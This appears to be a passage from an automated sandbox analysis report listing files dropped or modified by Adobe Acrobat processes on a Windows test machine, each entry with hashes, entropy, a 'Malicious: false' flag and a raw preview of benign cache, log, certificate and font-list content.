SHA-256:	AA36FDF49B4B9ED5A33AEB54EDA143C13E328E5D98D6326475AE3262085F615B
SHA-512:	E40BC54B305865E1769E81D4CA7E20EE8FE92360ADDB991A887E195158A1E88546DCDE7F30794B78AE332402260471B0FB235F1BF7EBC6C9198DC952F16A9745
Malicious:	false
Preview:	.P]f... .......7.......X\...;...{......................0.e......!...{?.85...}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...................................P..85...}..................D.rL85...}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07804299037083727
Encrypted:	false
SSDEEP:	3:smUYequagvfNaAPaU1laX8a2llalluxmO+l/SNxOf:0zvNDPaUCX8a2lAgmOH
MD5:	766B38C45267EE36F5AB78A21D981770
SHA1:	D350023B91DC763F55F5BE1AB8FF2D7FD423CAA1
SHA-256:	E10A978793A78D00174EB153495311F17CB70705B2183F4A067C677DBB078601
SHA-512:	659D87D7A94E12D4E6441AF88453EF28F74F83024E3C7462FAA18CB102F9F85EA05D9BB47671A7E3A8BBCCD18F5EA72D717DF24678A1223F1B4FCF1F46B90A2A
Malicious:	false
Preview:	?..j.....................................;...{..85...}...!...{?..........!...{?..!...{?..g...!...{?.................D.rL85...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.217254571257915
Encrypted:	false
SSDEEP:	6:iO4FdTIzVq2PN72nKuAl9OmbnIFUtSFddygZmwsFdP6SIkwON72nKuAl9OmbjLJ:7+ixvVaHAahFUtk/3/q16F5OaHAaSJ
MD5:	157966FCCBD475AD528C4212E4428A56
SHA1:	4052D6950A7FB66F584E149A21BEC63E9CEF5894
SHA-256:	E99FFBC4072D734A99DDDC3320ABDDC59092E52E661B1C041CFF8234AFF2559B
SHA-512:	F483FF769C8EEB81A55054E81F483A061B4B56D0BA5A53F6DE53BE94B0D2D6BF7691BF171D7115B1C00E825F0CB09EC5653F389CDEB30C1F32A09DDEDADE609D
Malicious:	false
Preview:	2025/01/10-16:53:55.246 1494 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:53:55.248 1494 Recovering log #3.2025/01/10-16:53:55.249 1494 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.217254571257915
Encrypted:	false
SSDEEP:	6:iO4FdTIzVq2PN72nKuAl9OmbnIFUtSFddygZmwsFdP6SIkwON72nKuAl9OmbjLJ:7+ixvVaHAahFUtk/3/q16F5OaHAaSJ
MD5:	157966FCCBD475AD528C4212E4428A56
SHA1:	4052D6950A7FB66F584E149A21BEC63E9CEF5894
SHA-256:	E99FFBC4072D734A99DDDC3320ABDDC59092E52E661B1C041CFF8234AFF2559B
SHA-512:	F483FF769C8EEB81A55054E81F483A061B4B56D0BA5A53F6DE53BE94B0D2D6BF7691BF171D7115B1C00E825F0CB09EC5653F389CDEB30C1F32A09DDEDADE609D
Malicious:	false
Preview:	2025/01/10-16:53:55.246 1494 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:53:55.248 1494 Recovering log #3.2025/01/10-16:53:55.249 1494 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.13522318559959
Encrypted:	false
SSDEEP:	6:iO4FdiFuQ39+q2PN72nKuAl9Ombzo2jMGIFUtSFdisIkJZmwsFdiHR39VkwON72g:7+Yc8+vVaHAa8uFUtkYsp/qYHLV5OaHA
MD5:	18F78A4761BE33E8C4BCDCE5AE65B595
SHA1:	1CA7EEB7D772A6857772BCD397958BBC3E7EC219
SHA-256:	D2DB148D524E1559C9F167A50D604F681E05C3D3ED008973A699BD2C5E044DE6
SHA-512:	B040A7B0C640083BFCC9FE61FF4C4F1C86048B3AC432EBBC5D47E0E20D06763A16AB1E00EA9A4C3DF7822C2261B657DE92BF6606665A9EF8CCF9DD0D5C580B45
Malicious:	false
Preview:	2025/01/10-16:53:55.320 14bc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:53:55.321 14bc Recovering log #3.2025/01/10-16:53:55.322 14bc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.13522318559959
Encrypted:	false
SSDEEP:	6:iO4FdiFuQ39+q2PN72nKuAl9Ombzo2jMGIFUtSFdisIkJZmwsFdiHR39VkwON72g:7+Yc8+vVaHAa8uFUtkYsp/qYHLV5OaHA
MD5:	18F78A4761BE33E8C4BCDCE5AE65B595
SHA1:	1CA7EEB7D772A6857772BCD397958BBC3E7EC219
SHA-256:	D2DB148D524E1559C9F167A50D604F681E05C3D3ED008973A699BD2C5E044DE6
SHA-512:	B040A7B0C640083BFCC9FE61FF4C4F1C86048B3AC432EBBC5D47E0E20D06763A16AB1E00EA9A4C3DF7822C2261B657DE92BF6606665A9EF8CCF9DD0D5C580B45
Malicious:	false
Preview:	2025/01/10-16:53:55.320 14bc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:53:55.321 14bc Recovering log #3.2025/01/10-16:53:55.322 14bc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2e68f7f2-6593-40ba-a9a0-665685f99225.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.975316331738347
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq0esBdOg2Hrcaq3QYiubcP7E4T3y:Y2sRdsdDdMHS3QYhbA7nby
MD5:	B1BB06CDCFA2E50D764485ACEB2463DD
SHA1:	9DBB9555FB19D0F60984FEE4D3AAB22D5D6BF94B
SHA-256:	2066B3D8364B54EA823B056384373F0B7722E5C394DA8FEB85ABC3723B479633
SHA-512:	930D982899AB89D6A528A00E3E9106417EF213362C7909E886C888765F4FE70BFD848B393FED5D4EB5DE2412BA3DF430EB16042E65D7CFB7AF4F2D905E49178E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381106046945167","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":102778},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.975316331738347
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq0esBdOg2Hrcaq3QYiubcP7E4T3y:Y2sRdsdDdMHS3QYhbA7nby
MD5:	B1BB06CDCFA2E50D764485ACEB2463DD
SHA1:	9DBB9555FB19D0F60984FEE4D3AAB22D5D6BF94B
SHA-256:	2066B3D8364B54EA823B056384373F0B7722E5C394DA8FEB85ABC3723B479633
SHA-512:	930D982899AB89D6A528A00E3E9106417EF213362C7909E886C888765F4FE70BFD848B393FED5D4EB5DE2412BA3DF430EB16042E65D7CFB7AF4F2D905E49178E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381106046945167","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":102778},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.250924577531031
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE77C2:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzht
MD5:	7269B32E161453EB35F5FE25DE682C2F
SHA1:	B1C8F7F25736BE3B0BA235022173E545AFA0BDDA
SHA-256:	73DECDF81DBBA6E03D50D1A3683E9AEAA343CC7306630A8F2B87EC71CE14195A
SHA-512:	6E5E6D5367F9E351DD935009365E37FD097D1C224FC79721F2A810C15105CBDD781CF5FD33FF75BB18949ED42071871F3106809840D8C57543C746A99DFE7486
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.190787254946334
Encrypted:	false
SSDEEP:	6:iO4FdodR9+q2PN72nKuAl9OmbzNMxIFUtSFdokJZmwsFdow39VkwON72nKuAl9Ob:7+2+vVaHAa8jFUtkF/qHV5OaHAa84J
MD5:	F61978BECD7C51C1012D1CA8060B74EB
SHA1:	6DFD9461C3E4990DCBC910CC3DBD19848D6ABA99
SHA-256:	9F1A8648495970221156763E0FA4521DF6896591F65274BB6D1B29CBE3A4E24B
SHA-512:	7B4393D7AD1BEA9AD62D8209737B03DB2C31408AC0482CBCAB748F25D8B06E00EDE100E75284C513C6B21C7135103AB57929CF7802EDA052946F6FED021B3383
Malicious:	false
Preview:	2025/01/10-16:53:55.964 14bc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:53:55.969 14bc Recovering log #3.2025/01/10-16:53:55.970 14bc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.190787254946334
Encrypted:	false
SSDEEP:	6:iO4FdodR9+q2PN72nKuAl9OmbzNMxIFUtSFdokJZmwsFdow39VkwON72nKuAl9Ob:7+2+vVaHAa8jFUtkF/qHV5OaHAa84J
MD5:	F61978BECD7C51C1012D1CA8060B74EB
SHA1:	6DFD9461C3E4990DCBC910CC3DBD19848D6ABA99
SHA-256:	9F1A8648495970221156763E0FA4521DF6896591F65274BB6D1B29CBE3A4E24B
SHA-512:	7B4393D7AD1BEA9AD62D8209737B03DB2C31408AC0482CBCAB748F25D8B06E00EDE100E75284C513C6B21C7135103AB57929CF7802EDA052946F6FED021B3383
Malicious:	false
Preview:	2025/01/10-16:53:55.964 14bc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:53:55.969 14bc Recovering log #3.2025/01/10-16:53:55.970 14bc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 13, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 13
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444627020277814
Encrypted:	false
SSDEEP:	384:SeIci5tZiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:Y6s3OazzU89UTTgUL
MD5:	83F0301015EA37CC13A0EA4D60EF7C9D
SHA1:	424D2678787C47420F0BEAE6B86B42360DC4F17F
SHA-256:	39E8AB5B8BDC0316193344F93E6916F5822D4DEA5445D6944896C85F775F37AF
SHA-512:	98C0D63058D0E8C5143960DA9846BE9AB93C386179D2EC02FC7E3DCB5620B3548ABA7B4CE3DD0454590342FA2ADB836C9DB303CF8961F2C79CCCF9CB57F32A6A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.211074629999506
Encrypted:	false
SSDEEP:	24:7+t3knuwKoqLLzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MT:7M0nCoqPmFTIF3XmHjBoGGR+jMz+Lhm
MD5:	57928208AF28722B8DB1B5A855CBFCAA
SHA1:	7578562B2678734792CEA82787D294B84FE15966
SHA-256:	D2C6F40DA700E47F56F0EBA354B8DFD7DE7E991CA67220FA81B14E0F7C2EA51B
SHA-512:	A6B651EBFB5273A7E311B64506709F6D296DC1564E698F29D080AEDD11D343970B2D288D1139B8B78EDD7B08FFBF3ADB1BE66A778B624DE35D258BAF27806DA2
Malicious:	false
Preview:	.... .c.....=.C.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklgOGbNl/tfllXlE/HT8kclJtNNX8RolJuRdxLlGB9lQRYwpDdt:kK5pbNl/eT8RNMa8RdWBwRd
MD5:	FE8532821B13C00CB0FA6A90909919BA
SHA1:	AEB097651533E5C042149DD51734A08F51D840D1
SHA-256:	0C40756E5D0903F24245B41A9BF2976FE6207DC6677FF6EEFCE201CFCE88B2CD
SHA-512:	208FC39B1F91A97F4CA25097C612F42693892DA46461557E5A3DB611E3EFFBC14E9A7E020D2FCF7AFCCC52320C81344131EAA2FF010C5F2115E2F6248168A9F4
Malicious:	false
Preview:	p...... ...........).c..(....................................................... ..........W....)...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.124880512274036
Encrypted:	false
SSDEEP:	6:kKua/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:Wa/iDnLNkPlE99SNxAhUe/3
MD5:	D3589F5B97F0EAE5CB6E33D4FD47026C
SHA1:	987BC78A9076C49725FD48989E7BC68985C3C0F6
SHA-256:	72FA3F6F4883DBB262340867268F254430981F4DEE9D2C67078ED3A8A02D7E46
SHA-512:	694898F5495C96EE3EC051289AF74307137B7D69B3F2B55C45593661B1AF3923B4EAFFC2DFD2101D3B085C5860340C8B4F10BD4F74425806D2A3AEE896823567
Malicious:	false
Preview:	p...... ........\./<.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3060

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

